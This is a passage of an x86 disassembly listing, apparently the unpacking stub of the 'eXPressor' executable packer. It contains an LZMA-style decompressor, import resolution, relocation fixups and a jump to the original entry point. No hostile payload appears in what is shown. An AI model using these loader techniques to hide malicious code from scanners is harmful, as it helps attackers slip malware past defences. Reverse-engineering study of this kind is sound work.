loc_434741:				; CODE XREF: sub_4345EB+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4343BA
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_434741


loc_43475C:				; CODE XREF: sub_4345EB+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_4347D4
; ---------------------------------------------------------------------------


loc_434761:				; CODE XREF: sub_4345EB+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_4343BA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_43485A
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_4343BA
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_4347E2
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4343BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_43482E
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]


loc_4347D4:				; CODE XREF: sub_4345EB+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_434945
; ---------------------------------------------------------------------------


loc_4347E2:				; CODE XREF: sub_4345EB+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_4343BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4347FA
		mov	eax, [ebp+var_10]
		jmp	short loc_434825
; ---------------------------------------------------------------------------


loc_4347FA:				; CODE XREF: sub_4345EB+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_4343BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_434816
		mov	eax, [ebp+var_C]
		jmp	short loc_43481F
; ---------------------------------------------------------------------------


loc_434816:				; CODE XREF: sub_4345EB+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx


loc_43481F:				; CODE XREF: sub_4345EB+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx


loc_434825:				; CODE XREF: sub_4345EB+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx


loc_43482E:				; CODE XREF: sub_4345EB+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_434576
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_43491E
; ---------------------------------------------------------------------------


loc_43485A:				; CODE XREF: sub_4345EB+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_434576
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_43489A
		jmp	short loc_43489D
; ---------------------------------------------------------------------------


loc_43489A:				; CODE XREF: sub_4345EB+2ABj
		push	3
		pop	eax


loc_43489D:				; CODE XREF: sub_4345EB+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_43447F
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_434915
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_4348EC
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_4344B6
		add	esp, 0Ch


loc_4348E8:				; CODE XREF: sub_4345EB+328j
		add	ebx, eax
		jmp	short loc_43491A
; ---------------------------------------------------------------------------


loc_4348EC:				; CODE XREF: sub_4345EB+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_434358
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_4344B6
		add	esp, 14h
		jmp	short loc_4348E8
; ---------------------------------------------------------------------------


loc_434915:				; CODE XREF: sub_4345EB+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax


loc_43491A:				; CODE XREF: sub_4345EB+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx


loc_43491E:				; CODE XREF: sub_4345EB+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_434951
		inc	edi
		inc	edi


loc_434926:				; CODE XREF: sub_4345EB+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_434945
		cmp	ecx, [ebp+arg_20]
		jb	short loc_434926


loc_434945:				; CODE XREF: sub_4345EB+1F2j
					; sub_4345EB+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_4346AC


loc_434951:				; CODE XREF: sub_4345EB+BBj
					; sub_4345EB+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4345EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434960	proc near		; CODE XREF: start+1A2p start+25Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_4349D2
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_434990
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax


loc_43498A:				; CODE XREF: sub_434960+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_43498A


loc_434990:				; CODE XREF: sub_434960+1Bj
		cmp	cl, 9
		jb	short loc_4349A7
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax


loc_4349A1:				; CODE XREF: sub_434960+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_4349A1


loc_4349A7:				; CODE XREF: sub_434960+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	ds:dword_434238	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_4349D7


loc_4349D2:				; CODE XREF: sub_434960+11j
		push	1
		pop	eax
		jmp	short loc_434A34
; ---------------------------------------------------------------------------


loc_4349D7:				; CODE XREF: sub_434960+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4345EB
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_434234	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_435539
		add	esp, 14h
		mov	eax, edi


loc_434A34:				; CODE XREF: sub_434960+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_434960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: start+30o

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00435232 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		rep jmp	short loc_434A55
; ---------------------------------------------------------------------------
		db 65h,	58h, 50h
		dd 2E762D72h, 2E342E31h
		db 0
; ---------------------------------------------------------------------------


loc_434A55:				; CODE XREF: start+Dj
		mov	eax, ds:dword_434000
		add	eax, offset dword_434000
		mov	ds:off_434024, eax
		mov	eax, ds:off_434024
		mov	ecx, offset start
		sub	ecx, [eax+18h]
		mov	ds:dword_434028, ecx
		cmp	ds:dword_43402C, 0
		jz	short loc_434A96
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx
		jmp	loc_4351CD
; ---------------------------------------------------------------------------


loc_434A96:				; CODE XREF: start+45j
		mov	ds:dword_43402C, 1
		push	4
		push	1000h
		push	80h
		push	0
		call	ds:dword_434238	; VirtualAlloc
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 1
		jz	short loc_434AC1
		and	[ebp+arg_0], 0


loc_434AC1:				; CODE XREF: start+82j
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_434238	; VirtualAlloc
		mov	[ebp+var_14], eax
		push	104h
		push	[ebp+var_14]
		push	[ebp+arg_0]
		call	ds:dword_434250	; GetModuleFileNameA
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		mov	[ebp+var_58], eax


loc_434AF3:				; CODE XREF: start+CCj
		mov	eax, [ebp+var_58]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_434B07
		mov	eax, [ebp+var_58]
		dec	eax
		mov	[ebp+var_58], eax
		jmp	short loc_434AF3
; ---------------------------------------------------------------------------


loc_434B07:				; CODE XREF: start+C3j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_54], eax
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_434238	; VirtualAlloc
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		and	byte ptr [eax+1], 0
		mov	eax, ds:dword_434020
		shl	eax, 6
		mov	ecx, ds:dword_434028
		add	ecx, eax
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, ds:dword_434028
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 0F8h
		mov	[ebp+var_40], eax
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_434BFA
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+80h]
		mov	ds:dword_4356BC, ecx
		mov	eax, ds:dword_4356BC
		mov	[ebp+var_3C], eax
		mov	eax, ds:off_434024
		mov	eax, [eax+8]
		mov	ds:dword_4356C0, eax
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+10h]
		mov	ds:off_4356B8, ecx
		push	ds:dword_4356BC
		mov	eax, ds:off_434024
		push	dword ptr [eax+4]
		push	ds:off_4356B8
		call	sub_434960
		add	esp, 0Ch
		mov	eax, ds:off_434024
		push	dword ptr [eax+6Ch]
		push	[ebp+var_3C]
		call	sub_4352B8
		pop	ecx
		pop	ecx
		jmp	loc_435230
; ---------------------------------------------------------------------------


loc_434BFA:				; CODE XREF: start+14Cj
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+64h], 0
		jz	loc_434D24
		push	4
		push	1000h
		mov	eax, ds:off_434024
		push	dword ptr [eax+4]
		push	0
		call	ds:dword_434238	; VirtualAlloc
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	ds:dword_4356BC, eax
		cmp	ds:dword_4356BC, 0
		jnz	short loc_434C4E
		push	30h
		push	[ebp+var_58]
		push	offset aErrorAllocatin ; "Error	allocating memory!"
		push	0
		call	ds:dword_434260	; MessageBoxA
		push	0
		call	ds:dword_43424C	; ExitProcess


loc_434C4E:				; CODE XREF: start+1F9j
		mov	eax, ds:off_434024
		mov	eax, [eax+8]
		mov	ds:dword_4356C0, eax
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+10h]
		mov	eax, ds:off_434024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	ds:off_4356B8, ecx
		push	ds:dword_4356BC
		mov	eax, ds:off_434024
		push	dword ptr [eax+4]
		push	ds:off_4356B8
		call	sub_434960
		add	esp, 0Ch
		jmp	short loc_434CA6
; ---------------------------------------------------------------------------


loc_434C9F:				; CODE XREF: start+2D4j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_434CA6:				; CODE XREF: start+264j
		mov	eax, ds:off_434024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	short loc_434D0F
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		mov	ecx, [ecx+eax+7Ch]
		mov	esi, ds:dword_4356BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	edx, ds:off_434024
		mov	edi, ds:dword_434028
		add	edi, [edx+eax+80h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		mov	edx, ds:dword_4356BC
		add	edx, [ecx+eax+7Ch]
		mov	ds:dword_4356BC, edx
		jmp	short loc_434C9F
; ---------------------------------------------------------------------------


loc_434D0F:				; CODE XREF: start+279j
		push	8000h
		push	0
		push	[ebp+var_3C]
		call	ds:dword_434234	; VirtualFree
		jmp	loc_434E0E
; ---------------------------------------------------------------------------


loc_434D24:				; CODE XREF: start+1CAj
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+10h]
		mov	eax, ds:off_434024
		sub	ecx, [eax+0Ch]
		mov	eax, ds:off_434024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_3C], ecx
		and	[ebp+var_28], 0
		jmp	short loc_434D5C
; ---------------------------------------------------------------------------


loc_434D55:				; CODE XREF: start:loc_434E09j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_434D5C:				; CODE XREF: start+31Aj
		mov	eax, ds:off_434024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	loc_434E0E
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		cmp	dword ptr [ecx+eax+74h], 0
		jz	loc_434E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		cmp	dword ptr [ecx+eax+7Ch], 0
		jbe	short loc_434E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		mov	edx, ds:dword_434028
		add	edx, [ecx+eax+80h]
		mov	ds:dword_4356BC, edx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		mov	eax, [ecx+eax+7Ch]
		mov	ds:dword_4356C0, eax
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		mov	edx, [ebp+var_3C]
		add	edx, [ecx+eax+78h]
		mov	ds:off_4356B8, edx
		push	ds:dword_4356BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_434024
		push	dword ptr [ecx+eax+7Ch]
		push	ds:off_4356B8
		call	sub_434960
		add	esp, 0Ch


loc_434E09:				; CODE XREF: start+346j start+35Dj
		jmp	loc_434D55
; ---------------------------------------------------------------------------


loc_434E0E:				; CODE XREF: start+2E6j start+32Fj
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+24h]
		mov	[ebp+var_50], ecx


loc_434E1F:				; CODE XREF: start+5F7j
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_435035
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+24h], 0
		jz	loc_435035
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_50]
		call	ds:dword_434248	; VirtualProtect
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_434028
		add	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		push	[ebp+var_C]
		call	ds:dword_434244	; GetModuleHandleA
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_434E7D
		push	8
		push	0
		push	[ebp+var_C]
		call	ds:dword_434240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_434E7D:				; CODE XREF: start+432j
		cmp	[ebp+var_30], 0
		jnz	short loc_434EBB
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		push	[ebp+var_4]
		call	ds:dword_434240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_434EBB:				; CODE XREF: start+448j
		cmp	[ebp+var_30], 0
		jnz	short loc_434EED
		push	[ebp+var_C]
		push	offset aARequired_dllF ; "A required .DLL file,	%hs, was not foun"...
		push	[ebp+var_24]
		call	ds:dword_43425C	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_434260	; MessageBoxA
		push	0
		call	ds:dword_43424C	; ExitProcess


loc_434EED:				; CODE XREF: start+486j
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_30]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+4], 0CDC31337h
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_434028
		add	ecx, [eax+10h]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0
		jnz	short loc_434F1F
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		jmp	short loc_434F2D
; ---------------------------------------------------------------------------


loc_434F1F:				; CODE XREF: start+4DCj
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_434028
		add	ecx, [eax]
		mov	[ebp+var_18], ecx


loc_434F2D:				; CODE XREF: start+4E4j start+5E9j
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 0
		jz	loc_435027
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_434F67
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43423C	; GetProcAddress
		mov	[ebp+var_5C], eax
		jmp	short loc_434F87
; ---------------------------------------------------------------------------


loc_434F67:				; CODE XREF: start+510j
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		add	eax, ds:dword_434028
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43423C	; GetProcAddress
		mov	[ebp+var_5C], eax


loc_434F87:				; CODE XREF: start+52Cj
		cmp	[ebp+var_5C], 0
		jnz	short loc_434FF7
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_434FC2
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43425C	; wsprintfA
		add	esp, 14h
		jmp	short loc_434FDF
; ---------------------------------------------------------------------------


loc_434FC2:				; CODE XREF: start+560j
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43425C	; wsprintfA
		add	esp, 14h


loc_434FDF:				; CODE XREF: start+587j
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_434260	; MessageBoxA
		push	0
		call	ds:dword_43424C	; ExitProcess


loc_434FF7:				; CODE XREF: start+552j
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	4
		push	[ebp+var_20]
		call	ds:dword_434248	; VirtualProtect
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_5C]
		mov	[eax], ecx
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		add	eax, 4
		mov	[ebp+var_20], eax
		jmp	loc_434F2D
; ---------------------------------------------------------------------------


loc_435027:				; CODE XREF: start+4FAj
		mov	eax, [ebp+var_50]
		add	eax, 14h
		mov	[ebp+var_50], eax
		jmp	loc_434E1F
; ---------------------------------------------------------------------------


loc_435035:				; CODE XREF: start+3EDj start+3FCj
		mov	eax, ds:off_434024
		mov	eax, [eax+1Ch]
		cmp	eax, ds:dword_434028
		jz	loc_4351AC
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+28h], 0
		jz	loc_4351AC
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+28h]
		mov	[ebp+var_34], ecx


loc_435069:				; CODE XREF: start+76Ej
		mov	eax, [ebp+var_34]
		cmp	dword ptr [eax], 0
		jz	loc_4351AC
		mov	eax, [ebp+var_34]
		add	eax, 8
		mov	[ebp+var_4C], eax
		and	[ebp+var_28], 0
		jmp	short loc_43508B
; ---------------------------------------------------------------------------


loc_435084:				; CODE XREF: start+75Dj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_43508B:				; CODE XREF: start+649j
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_28], eax
		jge	loc_43519B
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		add	eax, ds:dword_434028
		mov	ecx, [ebp+var_4C]
		movzx	ecx, word ptr [ecx]
		and	ecx, 0FFFh
		add	eax, ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_4350DB
		cmp	[ebp+var_60], 3
		jz	short loc_4350E0
		jmp	loc_435161
; ---------------------------------------------------------------------------


loc_4350DB:				; CODE XREF: start+695j
		jmp	loc_43518E
; ---------------------------------------------------------------------------


loc_4350E0:				; CODE XREF: start+69Bj
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_48], eax
		mov	eax, ds:off_434024
		mov	ecx, [ebp+var_48]
		sub	ecx, [eax+1Ch]
		add	ecx, ds:dword_434028
		mov	[ebp+var_48], ecx
		mov	eax, [ebp+var_48]
		cmp	eax, ds:dword_434028
		jb	short loc_435118
		mov	eax, [ebp+var_10]
		mov	ecx, ds:dword_434028
		add	ecx, [eax+50h]
		cmp	[ebp+var_48], ecx
		jbe	short loc_435146


loc_435118:				; CODE XREF: start+6CCj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	offset aErrorBadReloca ; "Error	bad relocation pointer:	*pdw = 0x"...
		push	[ebp+var_24]
		call	ds:dword_43425C	; wsprintfA
		add	esp, 0Ch
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_434260	; MessageBoxA
		push	0
		call	ds:dword_43424C	; ExitProcess


loc_435146:				; CODE XREF: start+6DDj
		lea	eax, [ebp+var_2C]
		push	eax
		push	40h
		push	4
		push	[ebp+var_1C]
		call	ds:dword_434248	; VirtualProtect
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		jmp	short loc_43518E
; ---------------------------------------------------------------------------


loc_435161:				; CODE XREF: start+69Dj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aUnexpectedRelo ; "Unexpected relocation	type: *pw = 0x%04"...
		push	[ebp+var_24]
		call	ds:dword_43425C	; wsprintfA
		add	esp, 10h
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_434260	; MessageBoxA


loc_43518E:				; CODE XREF: start:loc_4350DBj
					; start+726j
		mov	eax, [ebp+var_4C]
		inc	eax
		inc	eax
		mov	[ebp+var_4C], eax
		jmp	loc_435084
; ---------------------------------------------------------------------------


loc_43519B:				; CODE XREF: start+663j
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+4]
		mov	[ebp+var_34], ecx
		jmp	loc_435069
; ---------------------------------------------------------------------------


loc_4351AC:				; CODE XREF: start+60Aj start+619j ...
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4351BC
		call	sub_43528D


loc_4351BC:				; CODE XREF: start+77Cj
		mov	eax, ds:off_434024
		mov	ecx, ds:dword_434028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx


loc_4351CD:				; CODE XREF: start+58j
					; start:loc_435230j
		push	8000h
		push	0
		push	[ebp+var_24]
		call	ds:dword_434234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_4]
		call	ds:dword_434234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_14]
		call	ds:dword_434234	; VirtualFree
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_435210
		push	0
		call	ds:dword_43424C	; ExitProcess


loc_435210:				; CODE XREF: start+7CDj
		mov	eax, [ebp+var_38]
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 60h
		pop	ebp
		push	eax
		mov	eax, ds:off_434024
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_43522B
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_43522B:				; CODE XREF: start+7EBj
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		jmp	short loc_435232
; ---------------------------------------------------------------------------


loc_435230:				; CODE XREF: start+1BCj
		jmp	short loc_4351CD
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_435232:				; CODE XREF: start+7F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435237	proc near		; CODE XREF: sub_43528D+25p
					; DATA XREF: .ex_cod:00434004o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
